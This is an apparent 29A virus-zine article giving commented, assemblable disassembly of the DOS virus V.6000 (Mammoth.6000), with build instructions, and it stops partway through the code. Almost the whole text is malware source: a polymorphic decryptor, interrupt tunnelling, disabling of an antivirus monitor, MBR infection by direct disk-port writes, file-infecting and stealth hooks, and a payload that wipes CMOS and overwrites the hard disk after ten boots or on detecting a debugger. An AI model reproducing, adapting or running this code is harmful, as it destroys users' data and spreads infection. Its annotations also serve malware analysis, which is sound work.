Copy Link
Add to Bookmark
Report
29A Issue 01 04 03
;
; Disassembled by Tcp / 29A
;
; Virus: V.6000 (aka NoKernel aka Mammoth.6000)
; Author: ?
; Country: Russia (?)
; Comments: Polymorphic, multipartite, tunneling, damage,
; full-stealth, HD-ports,...
; The most interesting feature is that it can
; stay resident after a cold reboot and loading
; from a clean DOS floppy disk!!!!!!!!
; WARNING: This is a very dangerous virus!!
;
; To assembly:
; tasm /m v6000.asm
; tlink v6000
; exe2bin v6000 v6000.com
;-------------------------------------------------------------
.286
v6000 segment byte public ''
assume cs:v6000,es:v6000,ss:v6000,ds:v6000
org 0
start:
r_index db 0B9h ; mov cx,length_virus+[0..1Fh]
num_bytes dw offset(length_virus)
r_source db 0BFh ; mov di,offset(code_enc)+100h
st_code_enc dw offset(code_enc)+100h
_loop_dec:
prefix_op dw 802Eh ; xor byte ptr cs:
r_op db 35h ; [di],
l_mask db 0 ; l_mask
i_inc:
inc di
d_loop:
loop _loop_dec
clc
code_enc:
delta equ word ptr $+1
mov bp,offset(start)+100h
mov cx,offset(end_virdata)-buffer
xor al,al
mov di,offset(buffer)
add di,bp
push cs
pop es
cld
rep stosb ; Clear data area
cli
push cs
pop ss
mov sp,offset(vstack)
add sp,bp
mov [bp+delta_offset],bp
mov [bp+seg_psp],ds
mov dx,word ptr [bp+jmp_antidebug]
mov bx,(offset(kill_cmos_hd)-ofs_antidebug-2)
mov [bp+jmp_antidebug],0E9h ; jmp
mov [bp+ofs_antidebug],bx
jmp_antidebug equ byte ptr $
ofs_antidebug equ word ptr $+1 ; jmp kill_cmos_hd
; Kill CMOS & HD if debugging (or Pentium!)
jmp no_debug
db 9
no_debug:
mov word ptr [bp+jmp_antidebug],dx ; Restore jmp
mov ax,0B0Bh
int 21h ; Resident check
cmp ax,0EFEFh ; Already resident?
je restore_host ; Yes? then jmp
mov ah,30h
int 21h ; DOS - GET DOS VERSION
; Return: AL = major version number
; (00h for DOS 1.x)
; AH = minor version number
cmp al,0Ah ; >DOS 10.xx? (why???)
ja restore_host ; Yes? then jmp
cmp al,3 ; >=DOS 3.00?
jae try_to_infect_hd ; Yes? then jmp
restore_host:
cmp byte ptr [bp+host_type],3 ; EXE?
je restore_exe ; Yes? then jmp
push cs ; It is a COM file
pop ds
push cs
pop es
mov si,offset(header)
add si,bp
mov di,100h
mov bx,di
movsw ; Restore original bytes (3 bytes)
movsb
cli
mov sp,0FFFEh ; Set default stack
jmp bx ; jmp 100h (exec host)
restore_exe:
mov es,[bp+seg_psp] ; ES:=PSP
mov dx,[bp+exeip]
mov bx,[bp+relocs]
mov cx,es
add bx,cx ; Relocate host CS
add bx,10h
mov [bp+ep_ip],dx
mov [bp+ep_cs],bx
mov ax,[bp+reloss]
add ax,cx ; Relocate host SS
add ax,10h ; Add PSP
push es
pop ds
push ax
xor ax,ax
push ax
popf ; Clear flags
pop ax
cli
mov ss,ax ; Set stack
mov sp,cs:[bp+relosp]
sti
jmp dword ptr cs:[bp+ep_ip] ; Exec host
try_to_infect_hd:
call check4ide
cmp al,66h ; IDE HD?
jne start_tunneling ; No? then jmp (don't use ports)
mov ax,160Ah
int 2Fh ; - Multiplex - MS WINDOWS -
or ax,ax ; Windows running?
jz start_tunneling ; Yes? then jmp
get_vi13:
mov al,13h
call get_int_vector ; Get int 13h
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],1 ; Can use ports
jmp kill_vsafe
start_tunneling:
xor ax,ax
mov ds,ax ; DS:=0
cli
mov ds:[1h*4+2],cs ; Set new int 1
mov dx,offset(int_1)
add dx,bp
mov ds:[1h*4],dx
sti
mov [bp+seg_stop],70h ; Set stop segment (DOS segment)
mov ah,0FFh
pushf
pushf
call trace_on
call dword ptr ds:[13h*4] ; Trace Int 13h
call trace_off
cmp [bp+seg_i13],0 ; Tunneling successful?
jnz kill_vsafe ; Yes? then jmp
jmp get_vi13
kill_vsafe:
mov dx,5945h
mov ax,0FA01h
int 21h ; Uninstall VSafe
call install_virus
jmp restore_host
install_virus:
mov al,10h ; Diskette drive types
call read_cmos
mov [bp+floppy_types],ah
xor ax,ax
mov ds,ax
mov ax,ds:[410h] ; Installed hardware
mov [bp+inst_hard],ax
mov al,2Eh ; 1st byte of CMOS checksum
call read_cmos
mov ch,ah
mov al,2Fh ; 2nd byte of CMOS checksum
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_1
pop cx
cmp cx,dx ; Using this method for checksum?
jne try_method_ps2 ; No? then jmp
mov [bp+chksum_method],0
jmp infect_HD
try_method_ps2:
mov al,32h ; 1st byte of CMOS checksum (PS/2)
call read_cmos
mov ch,ah
mov al,33h ; 2nd byte of CMOS checksum (PS/2)
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_2
pop cx
cmp cx,dx ; Using this method for checksum?
jne unknown_method ; No? then jmp
mov [bp+chksum_method],1
jmp infect_HD
unknown_method:
mov [bp+chksum_method],2
infect_HD:
xor ah,ah
mov dl,80h
call int13hbp ; Reset HD controller
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; inc max.cylinder
mov dl,80h
sub cl,14 ; Get 14 sectors
mov ax,030Ch ; 12 sectors to write (its code)
push cs
pop es
mov bx,bp
call int13hbp ; Write to HD
jnc read_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!
read_mbr:
mov ax,0201h
mov bx,offset(s_mbr)
add bx,bp
mov dx,80h
mov cx,1
int 13h ; Read MBR
jnc check_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!
check_mbr:
mov di,bx
push cs
pop ds
mov si,offset(mbr_code)
add si,bp
mov cx,(tmbr_code-mbr_code)
cld
rep cmpsb ; Infected?
jne infect_mbr ; No? then jmp
jmp _ret ; Stupid jmp!!
infect_mbr:
call get_random
mov [bp+mask_orig_mbr],ah
mov si,bx
mov cx,512
push cx
encrypt_orig_mbr:
xor [si],ah
inc si
loop encrypt_orig_mbr
push ax
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
mov dl,80h
mov ax,301h ; 1 sector to write
call int13hbp ; Write encripted MBR
mov si,bx
pop ax
pop cx
decrypt_orig_mbr:
xor [si],ah ; Decrypt MBR
inc si
loop decrypt_orig_mbr
call get_random
mov si,offset(st_mbr_enc)
add si,bp
mov cx,end_mbr_code-st_mbr_enc
push si
push cx
push ax
encrypt_mbr:
mov cs:[bp+mask_mbr],ah ; Encrypt new MBR code
xor [si],ah
inc si
loop encrypt_mbr
mov si,offset(mbr_code)
add si,bp
mov di,bx
mov cx,end_mbr_code-mbr_code
rep movsb
cmp [bp+use_ports],1 ; Can use ports?
je write_using_ports ; Yes? then jmp
mov ax,301h ; 1 sector to write
mov cx,1
xor dh,dh
call int13hbp ; Write new mbr
jmp mbr_wrote
wait_while_busy:
mov dx,1F7h
HD_busy:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; Busy?
jnz HD_busy ; Yes? Repeat while busy
ret
wait_while_busy_seek:
mov dx,1F7h
in_seek:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; HD busy?
jnz in_seek ; Yes? Repeat while busy
test al,8 ; Seek completed?
jz in_seek ; No? Repeat until seek completed
ret
write_using_ports:
mov si,bx
cld
mov dx,3F6h
mov al,4
out dx,al ; Enable FDC disk reset
call waste_time
mov al,0
out dx,al
call wait_while_busy
mov dx,1F6h
mov al,10100000b
; ^^^^^head 0
; |___drive 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,10h
out dx,al ; AT hard disk command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
; Recalibrate drive
call wait_while_busy
mov dx,1F1h
in al,dx ; AT hard disk controller
; Error register. Bits for last error:
; 0: Data Address Mark not found
; 1: Track 0 Error
; 2: Command aborted
; 4: Sector ID not found
; 6: ECC Error: Uncorrectable data error
; 7: Bad block
and al,01101000b
jnz write_using_ports ; Error? try again
call wait_while_busy
mov dx,1F2h
mov al,1 ; One sector
out dx,al ; AT hard disk controller: Sector count.
call waste_time
mov dx,1F3h
mov al,1 ; Start in sector 1
out dx,al ; AT hard disk controller: Sector number.
call waste_time
mov dx,1F4h
mov al,0
out dx,al ; AT hard disk controller:
; Cylinder high (bits 0-1 are bits 8-9
; of 10-bit cylinder number)
call waste_time
mov dx,1F5h
mov al,0 ; Cylinder 0
out dx,al ; AT hard disk controller:
; Cylinder low (bits 0-7 of 10-bit
; cylinder number)
call waste_time
mov dx,1F6h
mov al,10100000b ; Drive 0, Head 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,31h ; Write sector without retry
out dx,al ; AT hard disk
; command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
call wait_while_busy_seek
mov cx,512/2 ; Number of words to write (1 sector)
mov dx,1F0h ; Data register
rep outsw ; Write sector
call wait_while_busy
mbr_wrote:
pop ax
pop cx
pop si
dec_mbrcode:
xor cs:[si],ah
inc si
loop dec_mbrcode
mov ah,8
mov dl,80h
call int13hbp ; Get drive parameters
mov dl,80h
inc ch ; inc cylinder
sub cl,2 ; dec sector*2
mov word ptr cs:[bx],0 ; Reset boot counter
mov ax,0301h ; 1 sector to write
call int13hbp ; Write to HD
_ret:
ret
int_1: ; Tunneler code
push bx
push es
push si
push bp
push ds
mov bp,sp
lds si,[bp+0Ah] ; Get next inst.address from stack
mov bp,cs
mov bx,ds
cmp bx,bp ; Is from virus code?
je end_int1 ; Yes? then jmp
mov bp,sp
delta_offset equ word ptr $+1
mov bx,0B3Ah ; mov bx,delta_offset
cmp byte ptr [si],9Ch ; Next inst. is a pushf?
jne check_popf ; No? then jmp
inc word ptr [bp+0Ah] ; Skip the pushf
mov cs:[bx+emul_pushf],1
check_popf:
cmp byte ptr [si],9Dh ; Next inst. is a popf?
jne no_popf ; No? then jmp
or word ptr [bp+10h],100h ; Put flag trace in stack
no_popf:
mov bp,ds
cmp cs:[bx+tunnel_ok],1 ; Found int?
je end_int1 ; Yes? then jmp
cmp bp,cs:[bx+seg_stop] ; Above stop segment?
ja end_int1 ; Yes? then jmp
mov cs:[bx+ofs_i13],si ; Store as the new int
mov cs:[bx+seg_i13],ds
mov cs:[bx+tunnel_ok],1 ; Found int
end_int1:
pop ds
pop bp
pop si
pop es
cmp cs:[bx+emul_pushf],1 ; Was found a pushf?
je no_restore_flags ; Yes? then jmp
pop bx
iret
no_restore_flags:
mov word ptr cs:[bx+emul_pushf],0
pop bx
retf
waste_time:
jmp $+2
jmp $+2
ret
trace_on:
pushf
pop bx
or bh,1 ; Set trace flag on
push bx
popf
ret
trace_off:
pushf
pop bx
and bh,0FEh ; Set trace flag off
push bx
popf
ret
check4ide:
push ds
mov dl,80h ; 1st HD
push dx
mov ah,15h
int 13h ; DISK - GET TYPE
; DL = drive ID
; Return: CF set on error
; AH = disk type
; Get type of 1st HD
pop dx
cmp ah,1 ; Type 1? Diskette???
je no_ide ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
les si,ds:[41h*4] ; Get hd0 parameters pointer
mov ax,es:[si] ; Maximun number of cylinders
push ax
push dx
mov ah,8
int 13h ; Get current drive parameters
mov ax,cx
rol al,1
rol al,1
and al,3 ; Get high order 2 bits of cylinder count
xchg al,ah ; Cylinder count in AX
and dh,0C0h ; Get high order 2 bits of head count
; Large Model(?)
mov cl,4
shl dh,cl
or ah,dh ; Total cylinder count in AX
add ax,2 ; Add 2 cylinders
pop dx
mov bx,ax
pop ax
cmp bx,ax ; Same cylinder number?
xor al,al ; BUG!!!! This instruction sets the Z-flag
jne no_ide ; Then this jump is never used
mov al,66h
no_ide:
pop ds
ret
fffnfcb:
call int21h ; FF/FN
or al,al ; More files?
jnz no_files_fcb ; No? then jmp
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
push bx
pop dx
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jnz no_ext_fcb ; No? then jmp
add dx,7
no_ext_fcb:
call make_fname
call exe_or_com?
or bp,bp ; EXE or COM?
jz error_open_fcb ; No? then jmp
mov ax,3D00h
call int21h ; Open file
jc error_open_fcb
mov bx,ax ; bx:=handle
mov ax,5700h
call int21h ; Get file time
rcr dh,1
cmp dh,64h ; Infected?
jb no_inf_fcb ; No? then jmp
push bx
mov ah,2Fh
call int21h ; Get DTA
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jne no_ext_fcb2 ; No? then jmp
add bx,7
no_ext_fcb2:
sub word ptr es:[bx+1Dh],offset(length_virus)
mov ax,es:[bx+19h] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+19h],ax
pop bx
no_inf_fcb:
mov ah,3Eh
call int21h ; Close file
error_open_fcb:
call pop_registers
popf
no_files_fcb:
retf 2
rename_FCB:
push ds
push dx
call make_fname
jmp rename
rename_handle:
push ds
push dx
rename:
push es
push si
push di
push cx
push bp
push ax
push es
push di
call exe_or_com?
pop di
pop es
or bp,bp ; Renaming from Exe or Com?
jz jmp_end_i21 ; No? then jmp
push ds
push dx
push es
pop ds
mov dx,di
call exe_or_com?
pop dx
pop ds
or bp,bp ; Renaming to Exe or Com?
jnz now_is_exec ; Yes? then jmp
call disinfect_file ; else disinfect
jmp jmp_end_i21
now_is_exec:
call try_to_infect_file
jmp_end_i21:
pop ax
pop bp
pop cx
pop di
pop si
pop es
pop dx
pop ds
jmp exit_i21
disinfect:
push dx
cmp ah,6Ch ; Extended create/open?
jne exec? ; No? then jmp
test dl,1 ; Action=open file?
jz not_open ; No? then jmp
mov dx,si
exec?:
cmp ah,4Bh ; Exec file?
jne no_exec ; No? then jmp
push ax
push si
push di
push es
push cx
push ds
mov cs:ticks_disableFD,30*18 ; 30 seconds
or cs:flags,2 ; Don't disable FD
call enable_FD
mov si,dx
call end_fname
dec si
mov di,offset(end_chkdsk)
mov cx,end_chkdsk-end_wswap
push cs
pop es
call cmp_strings ; chkdsk.exe?
jnc no_chkdsk ; No? then jmp
or cs:flags,80h ; No stealth
no_chkdsk:
pop ds
pop cx
pop es
pop di
pop si
pop ax
no_exec:
test cs:flags,1 ; bit0 never is 1!!! I think...
jnz not_open ; then this jump is never used
call disinfect_file
not_open:
pop dx
jmp exit_i21
fffnh:
call int21h ; Find-first/next
jc ret_fffnh ; jmp if no more files
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
mov dx,bx
add dx,1Eh
call exe_or_com? ; if bp=0 then not exe/com
or bp,bp ; Exe or Com?
jz end_fffnh ; No? then jmp
mov ax,[bx+(dta_date-dta)]
shr ah,1
cmp ah,64h ; Infected?
jb end_fffnh ; No? then jmp
mov ax,es:[bx+(dta_date-dta)] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+(dta_date-dta)],ax
sub [bx+(dta_sizel-dta)],offset(length_virus)
end_fffnh:
call pop_registers
popf
ret_fffnh:
retf 2
jmp_infect_on_exit:
jmp infect_on_exit
int_21:
mov cs:into_i21,1
cmp ah,4Ch ; Exit program via ah=4Ch?
je jmp_infect_on_exit ; Yes? then jmp (infect)
or ah,ah ; Exit program via ah=0?
jz jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ah,31h ; Exit program via ah=31h (TSR)?
je jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ax,0B0Bh ; Our check?
je resident_check ; Yes? then jmp
test cs:flags,80h ; Do stealth?
jnz exit_i21 ; No? then jmp
cmp ah,4Bh ; Exec?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,11h ; FF FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,12h ; FN FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,4Eh ; FF handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,4Fh ; FN handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,3Dh ; Open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,6Ch ; Extended open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,36h ; Get Disk free?
je disk_free ; Yes? then jmp (free space stealth)
cmp ah,0Fh ; Open file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,13h ; Delete file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,17h ; Rename file using FCB?
je jmp_rename_FCB ; Yes? then jmp (infect/disinfect)
cmp ah,41h ; Delete file?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,56h ; Rename file?
je jmp_rename ; Yes? then jmp (infect/disinfect)
cmp ax,4300h ; Get attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ax,4301h ; Set attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,3Eh ; Close file?
je jmp_close ; Yes? then jmp (infect)
exit_i21:
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21
resident_check:
mov ax,0EFEFh
iret
del_getsetattr:
jmp jmp_try_infect_file
jmp_close:
jmp close
jmp_fffnfcb:
jmp fffnfcb
jmp_disinfect:
jmp disinfect
jmp_rename:
jmp rename_handle
jmp_rename_FCB:
jmp rename_FCB
open_delete_FCB:
push ds
push dx
call make_fname
call try_to_infect_file
pop dx
pop ds
jmp exit_i21
save_free:
mov cs:into_i21,0
mov cs:stored_psp,bx ; Store program PSP dir
mov cs:stored_drive,dl ; Store drive
pop bx
call int21h ; Get free space
mov cs:clusters_avail,bx ; Store free space
retf 2
disk_free:
push bx
push ax
mov ah,62h
call int21h ; Get PSP address in BX
pop ax
cmp bx,cs:stored_psp ; Same program?
jne save_free ; No? then jmp
cmp dl,cs:stored_drive ; Same drive?
jne save_free ; No? then jmp
pop bx
call int21h ; Get free space
mov bx,cs:clusters_avail ; Return previous free space
retf 2
int_27:
push cx
mov cl,4
shr dx,cl ; div 16
pop cx
inc dx ; inc paragraphs
mov ax,3100h ; To exec int 21h, AX=3100 (TSR)
jmp infect_on_exit
int_20:
xor ax,ax ; To exec int 21h, AX=0 (exit)
infect_on_exit:
push ax
push ds
push dx
push bx
pushf
push cs
pop ds
cmp activity_checks,1 ; Checking activity?
jne set_checks ; No? then jmp
jmp ints_set
set_checks:
mov activity_checks,1
mov ah,34h
call int21h ; Get address of DOS activity flag
mov ofs_flagdos,bx ; Store it
mov seg_flagdos,es
mov al,8
call get_int_vector ; Get int 8
mov ofs_i8,bx ; Store it
mov seg_i8,es
mov al,17h
call get_int_vector ; Get int 17h
mov ofs_i17,bx ; Store it
mov seg_i17,es
mov al,25h
call get_int_vector ; Get int 25h
mov ofs_i25,bx ; Store it
mov seg_i25,es
mov al,26h
call get_int_vector ; Get int 26h
mov ofs_i26,bx ; Store it
mov seg_i26,es
mov ax,5D06h
call int21h ; Get address of DOS swappable area
mov cs:ofs_swpdos,si ; Store it
mov cs:seg_swpdos,ds
xor ax,ax
mov ds,ax
cli
mov word ptr ds:[8h*4],offset(int8) ; Set int 8
mov ds:[8h*4+2],cs
mov word ptr ds:[17h*4],offset(int17) ; Set int 17h
mov ds:[17h*4+2],cs
mov word ptr ds:[25h*4],offset(int25) ; Set int 25h
mov ds:[25h*4+2],cs
mov word ptr ds:[26h*4],offset(int26) ; Set int 26h
mov ds:[26h*4+2],cs
sti
mov si,400h ; Address of COM ports
mov di,offset(com_ports)
push cs
pop es
movsw ; com1
movsw ; com2
movsw ; com3
movsw ; com4
ints_set:
test cs:flags,40h ; bit14 never is 1!!! I think...
jnz get_parent_psp ; then this jump is never used
call get_fname_env
get_parent_psp:
mov ah,62h
call int21h ; Get current PSP address
mov ds,bx
mov ax,ds:[16h] ; Get parent PSP
mov ds,ax
mov ax,ds:[16h] ; Get parent PSP (of parent PSP :)
mov bx,ds
cmp ax,bx ; Same PSP? Parent=command interpreter?
jne no_reset_flags ; No? then jmp
and cs:flags,0 ; Clear flags
no_reset_flags:
popf
pop bx
pop dx
pop ds
pop ax
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21
close:
call push_registers
push bx
call set_i24_i1B_i23
call get_ofs_fname
pop bx
clc
mov ax,1220h
int 2Fh ; GET JOB FILE TABLE ENTRY
; BX = file handle
; Return: CF set on error, AL = 6
; CF clear if successful
; ES:DI -> JFT entry for file handle
; in current process
jc end_close
cmp byte ptr es:[di],0FFh ; No table?
je end_close ; Yes? then jmp
clc
push bx
mov bl,es:[di] ; Get file entry number
xor bh,bh
mov ax,1216h
int 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE
; BX = system file table entry number
; Return: CF clear if successful,
; ES:DI -> system file table entry
; CF set if BX greater than FILES=
pop bx
jc end_close
push es
pop ds
and word ptr [di+2],0FFF8h
or word ptr [di+2],2 ; File open mode 2 (I/O)
add di,cs:ofs_sft
mov dx,di
dec dx
call make_fname
push cs
pop ds
mov dx,offset(filename)
call infect_file
end_close:
call restore_i24_i1b_i23
call pop_registers
jmp exit_i21
jmp_try_infect_file:
call try_to_infect_file
jmp exit_i21
push_registers:
pop cs:return_dir
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir
pop_registers:
pop cs:return_dir
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir
get_fname_env:
call push_registers
mov ah,62h
call int21h ; Get PSP address in BX
mov ds,bx
mov ds,ds:[2Ch] ; Get environment segment
xor si,si
mov cx,400h
search4fname:
mov ax,[si] ; Get word
or ax,ax ; Zero?
jz no_more_variables ; Yes? then jmp
inc si
loop search4fname
jmp _pop_regs
no_more_variables:
add si,4 ; Pathname of environment owner
mov dx,si
call try_to_infect_file
_pop_regs:
call pop_registers
ret
try_to_infect_file:
call push_registers
call normalize_fname
call set_i24_i1B_i23 ; Set ints
call get_reset_attr ; Save & reset attributes
jc error_writing
mov ax,3D02h
call int21h ; Open file I/O
jc error_writing
mov bx,ax ; bx:=handle
call infect_file
mov ah,3Eh
call int21h ; Close file
call restore_attr ; Restore attributes
error_writing:
call restore_i24_i1b_i23
call pop_registers
ret
st_command equ $-1
db 'COMMAND.'
ext_com db 'COM'
end_command equ word ptr $-1
gdi_exe db 'GDI.EXE'
end_gdi equ word ptr $-1
db 'DOSX.EXE'
end_dosx equ word ptr $-1
db 'WIN386.EXE'
end_win386 equ word ptr $-1
db 'KRNL286.EXE'
end_krnl286 equ word ptr $-1
db 'KRNL386.EXE'
end_krnl386 equ word ptr $-1
db 'USER.'
bad_end_user equ word ptr $-2
ext_exe db 'EXE'
end_user equ word ptr $-1
db 'WSWAP.EXE'
end_wswap equ word ptr $-1
db 'CHKDSK.EXE'
end_chkdsk equ word ptr $-1
normalize_fname:
push ds
pop es
push dx
pop si
push si
pop di
mov ax,1211h
int 2Fh ; NORMALIZE ASCIZ FILENAME
; DS:SI -> ASCIZ filename to normalize
; ES:DI -> buffer for normalized filename
; Return: destination buffer filled with
; uppercase filename, with slashes turned
; to backslashes
ret
cmp_strings: ; Compare two strings
; OUTPUT: Carry=1 if strings are equal
std
next_char:
lodsb
cmp al,' '
je next_char ; Ignore spaces
inc si
cmpsb
loope next_char
clc
or cx,cx ; Matching strings?
jnz no_match ; No? then jmp
stc ; Set carry
no_match:
ret
infect_file:
push ds
push dx
call exe_or_com?
or bp,bp ; Exe or Com?
jz not_infect ; No? then jmp
push bp
call cmp_fname ; Valid filename?
pop bp
jc not_infect ; No? then jmp
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
jc not_infect
call read_header
jc not_infect
call check_if_exe
call check_if_infected ; Already infected?
jz not_infect ; Yes? then jmp
call get_ftime
call write_virus
jc not_infect
call restore_ftime
not_infect:
pop dx
pop ds
ret
restore_ftime:
mov ax,5701h
mov cx,cs:f_time
mov dx,cs:f_date
call int21h ; Restore file date & time
ret
restore_attr:
mov ax,4301h
mov cx,cs:attribs
call int21h ; Restore attributes
ret
get_ftime:
mov ax,5700h
call int21h ; Get file time
mov cs:f_time,cx
mov cs:f_date,dx
ret
get_reset_attr:
mov ax,4300h
call int21h ; Get attributes
mov cs:attribs,cx ; Store attributes
mov ax,4301h
xor cx,cx
call int21h ; Reset attributes
ret
check_if_exe:
cmp cs:_signature,5A4Dh ; EXE?
jz is_exe ; Yes? then jmp
cmp cs:_signature,4D5Ah ; EXE?
jz is_exe ; Yes? then jmp
mov bp,1 ; It's COM
ret
is_exe:
mov bp,3 ; It's EXE
ret
cmp_fname:
mov si,dx
call end_fname
dec si ; SI points to end fname
mov bp,si
push cs
pop es
mov di,offset(end_command)
mov cx,end_command-st_command
call cmp_strings ; COMMAND.COM?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_gdi)
mov cx,end_gdi-end_command
call cmp_strings ; GDI.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_dosx)
mov cx,end_dosx-end_gdi
call cmp_strings ; DOSX.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_win386)
mov cx,end_win386-end_dosx
call cmp_strings ; WIN386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl286)
mov cx,end_krnl286-end_win386
call cmp_strings ; KRNL286.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl386)
mov cx,end_krnl386-end_krnl286
call cmp_strings ; KRNL386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(bad_end_user) ; BUG!!!! offset(end_user)
mov cx,end_user-end_krnl386
call cmp_strings ; USER.EXE? (BUG)
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_wswap)
mov cx,end_wswap-end_user
call cmp_strings ; WSWAP.EXE?
jc invalid_fname ; Yes? then jmp
clc ; Valid filename
invalid_fname:
ret
get_file_encryption:
push cs
pop ds
mov ofs_virus,offset(length_virus)-offset(l_mask)
call lseek
mov ah,3Fh
mov dx,offset(code_mask)
mov cx,1
call int21h ; Read 1 byte (encryption mask)
push cs
pop ds
mov ofs_virus,offset(length_virus)-(offset(prefix_op)+1)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,1
call int21h ; Read 1 byte
cmp byte ptr ofs_virus,0F6h ; Not encryption?
je m_not ; Yes? then jmp
cmp byte ptr ofs_virus,80h ; Xor encryption?
je m_xor ; Yes? then jmp
cmp byte ptr ofs_virus,0D0h ; Ror encryption?
je m_ror ; Yes? then jmp
cmp byte ptr ofs_virus,0FEh ; Dec encryption?
je m_dec ; Yes? then jmp
m_not:
mov crypt_method,1
ret
m_xor:
mov crypt_method,0
ret
m_ror:
mov crypt_method,2
ret
m_dec:
mov crypt_method,3
ret
check_if_infected:
push cs
pop ds
call get_file_encryption
mov ofs_virus,offset(length_virus)-offset(gdi_exe)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,2
call int21h ; Read 2 bytes
mov si,offset(ofs_virus)
call decrypt_bytes
mov cx,word ptr gdi_exe
cmp cx,ofs_virus ; Infected file?
ret
get_n_di: ; Get SI in [0, DI, DI*2]
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,di
mul si
mov si,ax
sub si,di
jns not_neg
neg si
not_neg:
ret
get_1byte_inst:
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,ax
mov al,byte ptr [si+one_byte_inst]
ret
mbr_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
mov cx,end_mbr_code-mbr_code
mov bx,7C00h+(st_mbr_enc-mbr_code)
tmbr_code:
push cx
decrypt_mbr:
xor byte ptr [bx],0 ; xor byte ptr [bx],mask_mbr
mask_mbr equ byte ptr $-1
inc bx
loop decrypt_mbr
st_mbr_enc:
mov ax,910h
mov es,ax ; ES:=0910h
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
sub cl,2 ; Dec*2 max. sector
mov dl,80h
mov ax,201h
mov bx,sp
int 13h ; Read 1 sector
inc word ptr es:[bx] ; Inc boots counter
mov ax,301h
int 13h ; Write sector
cmp word ptr es:[bx],10 ; <10 boots?
jb no_activate ; Yes? then jmp
mov word ptr es:[bx],0 ; Reset boots counter
mov ax,301h
int 13h ; Write 1 sector
kill_cmos_hd:
mov bp,7C00h
in al,21h ; Interrupt controller, 8259A.
or al,2 ; Disable keyboard IRQ
out 21h,al ; Interrupt controller, 8259A.
mov cx,40h
kill_cmos:
mov al,cl
out 70h,al ; CMOS Memory
xor al,al
out 71h,al ; Fill CMOS with zeros
loop kill_cmos
mov dl,80h ; 1st HD
kill_hd:
mov bh,dl
mov ah,8
int 13h ; Get current drive parameters
mov dl,bh ; DL:=80h
mov al,cl
mov cx,101h ; Start in cylinder 1, sector 1
other_cylinder:
push dx
other_head:
push ax
mov ah,3
int 13h ; Write sector
pop ax
dec dh ; dec head
jnz other_head
pop dx
cmp ch,0FFh ; Cylinder=255?
pushf
inc ch ; Inc cylinder
popf
jne other_cylinder ; No? then jmp
xor ax,ax
mov ds,ax ; ds:=0
cmp byte ptr ds:[475h],1 ; <=1 HD present?
jbe continue_killing ; Yes? then jmp
